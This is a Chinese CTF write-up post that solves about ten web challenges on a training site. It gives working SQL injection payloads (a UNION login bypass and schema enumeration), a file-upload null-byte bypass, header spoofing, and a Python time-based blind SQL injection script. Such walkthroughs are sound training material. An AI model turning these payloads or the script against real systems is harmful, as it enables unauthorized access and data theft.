1010.CTF 題目之 WEB Writeup 通關大全 – 4

Web題目系列4php

上傳繞過

題目連接

http://shiyanbar.com/ctf/1781css

題目描述

bypass the upload 格式:flag{} 

解題思路

隨意上傳文件,發現提示只能上傳圖片文件,上傳圖片後,看到發送包的內容爲

推測最後保存文件的名稱爲dir + filename,因此使用00截斷來構造繞過php不能上傳的問題。


flag{SimCTF_huachuan}html

NSCTF web200

題目連接

http://shiyanbar.com/ctf/1760python

題目描述

密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws 格式:flag:{} 

解題思路

a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
=》rot13解碼:
n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf
=>reverse:
fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n
=》base64解碼:
~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg 
<?php
$_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg"; $_=""; for($_0=0;$_0 

flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}mysql

程序邏輯問題

題目連接

http://shiyanbar.com/ctf/62nginx

題目描述

繞過

解題思路

打開題目後,發現源碼中有index.txt,此文件爲該題目源碼,打開進行審計。web

<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********", "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html> 

審計該題目,發現有兩個條件。
1. 首先經過user查詢用戶
2. 而後經過查詢出的用戶,拿出pw和用戶輸入的pw進行比計較,若是相等,則登陸成功。sql

存在的漏洞點:在查詢用戶時,user沒有通過過去,能夠進行注入,因此,經過構造注入,讓查詢出的結果可以被用戶輸入控制,和pw同樣,就繞過了第二個比較。數據庫

直接給出payloaduser=' union select md5(1)# and &amp;pass=1,這條語句拼出的sql語句爲select pw from php where user='' union select md5(1)#‘。這樣查詢出的pw值就是用戶輸入的md5(1),當pass參數也輸入1時,就繞過了條件了,獲得flag :SimCTF{youhaocongming}。瀏覽器

what a fuck!這是什麼鬼東西?

題目連接

http://shiyanbar.com/ctf/56

題目描述

what a fuck!這是什麼鬼東西? 

解題思路

打開題目,就能夠看到是jsfuck編碼,直接在瀏覽器console控制檯執行這段代碼就能夠了。

flag : Ihatejs

PHP大法

題目連接

http://shiyanbar.com/ctf/54

題目描述

注意備份文件

解題思路

打開題目看到備份文件index.php.txt

<?php if(eregi("hackerDJ",$_GET[id])) { echo("<p>not allowed!</p>"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "<p>Access granted!</p>"; echo "<p>flag: *****************} </p>"; } ?> <br><br> Can you authenticate to this website? 

從源代碼能夠看到,當輸入是hackerDJ時,題目會返回not allowed,當輸入通過url解碼時是hackerDJ時,返回flag。這裏使用兩次url編碼,就能夠繞過第一個條件,在第二個條件通過ruldecode後,兩次編碼的輸入id轉化爲正常的ascii。payload %2568ackerDJ

DUTCTF{PHP_is_the_best_program_language}

這個看起來有點簡單!

題目連接

http://shiyanbar.com/ctf/33

題目描述

很明顯。過年過節不送禮,送禮就送這個

解題思路

使用id=1 and 1=1,回顯正常,使用id=1 and 1=2,回顯中沒有數據,易得此題目存在sql注入漏洞。後面直接給出payload。

id=1 union select 1,schema_name from information_schema.schemata

id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'

id=1 union select 1,column_name from information_schema.columns where table_schema='my_db'

id=1 union select 1,k0y from thiskey

flag : whatiMyD91dump

貌似有點難

題目連接

http://shiyanbar.com/ctf/32

題目描述

很少說,去看題目吧。

解題思路

進入題目後,直接點開View the source code查看源代碼。

<?php function GetIP(){ if(!empty($_SERVER["HTTP_CLIENT_IP"])) $cip = $_SERVER["HTTP_CLIENT_IP"]; else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $cip = $_SERVER["HTTP_X_FORWARDED_FOR"]; else if(!empty($_SERVER["REMOTE_ADDR"])) $cip = $_SERVER["REMOTE_ADDR"]; else $cip = "0.0.0.0"; return $cip; } $GetIPs = GetIP(); if ($GetIPs=="1.1.1.1"){ echo "Great! Key is *********"; } else{ echo "錯誤!你的IP不在訪問列表以內!"; } ?> 

看源碼,發現直接修改ip就能夠了,抓包重放。

SimCTF{daima_shengji}

頭有點大

題目連接

http://shiyanbar.com/ctf/29

題目描述

提示都這麼多了,再提示就沒意思了。

解題思路

根據題目意思要知足三個條件才能夠:
1. 安裝.net9.9框架。
2. 第二個是保證在英國地區。
3. 第三個是用ie瀏覽器。
第一個和第三個咱們能夠在User-Agent後加上(MSIE 9.0;.NET CLR 9.9)來實現,最後一個在英國咱們把語言改爲en-gb便可。

貓抓老鼠

題目連接

http://shiyanbar.com/ctf/20

題目描述

catch!catch!catch!嘿嘿,很少說了,再說劇透了 

解題思路

這是一道腦洞題!因此訪問抓包,看到響應包中有一個字段Content-Row,將這個參數的值當作pass+key提交,就拿到了flag。

看起來有點難

題目連接

http://shiyanbar.com/ctf/2

題目描述

切,你那水平也就這麼點了,這都是什麼題啊!!!

解題思路

使用各類萬能注入不能登陸,測試payloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and sleep(10) and ''='&amp;pass=&amp;action=login,發現響應時間很長,確認該題目爲sleep盲注。

給出腳本的payloadadmin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&amp;pass=&amp;action=login,其中第一個%s 爲password字段的第幾位開始,第二個%s表示ascii字符。

__author__ = 'netfish' # -*-coding:utf-8-*- import requests import time payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' #不區分大小寫的 flag = "" key=0 print("Start") for i in range(1,50): if key == 1: break for payload in payloads: starttime = time.time()#記錄當前時間 headers = {"Host": "ctf5.shiyanbar.com", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour", "Connection": "keep-alive", } url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#數據庫 res = requests.get(url, headers=headers) if time.time() - starttime > 5: flag += payload print('\n pwd is:', flag) break else: if payload == '-': key = 1 break print('\n[Finally] current pwd is %s' % flag) 


跑出密碼 idnuenna

相關文章
相關標籤/搜索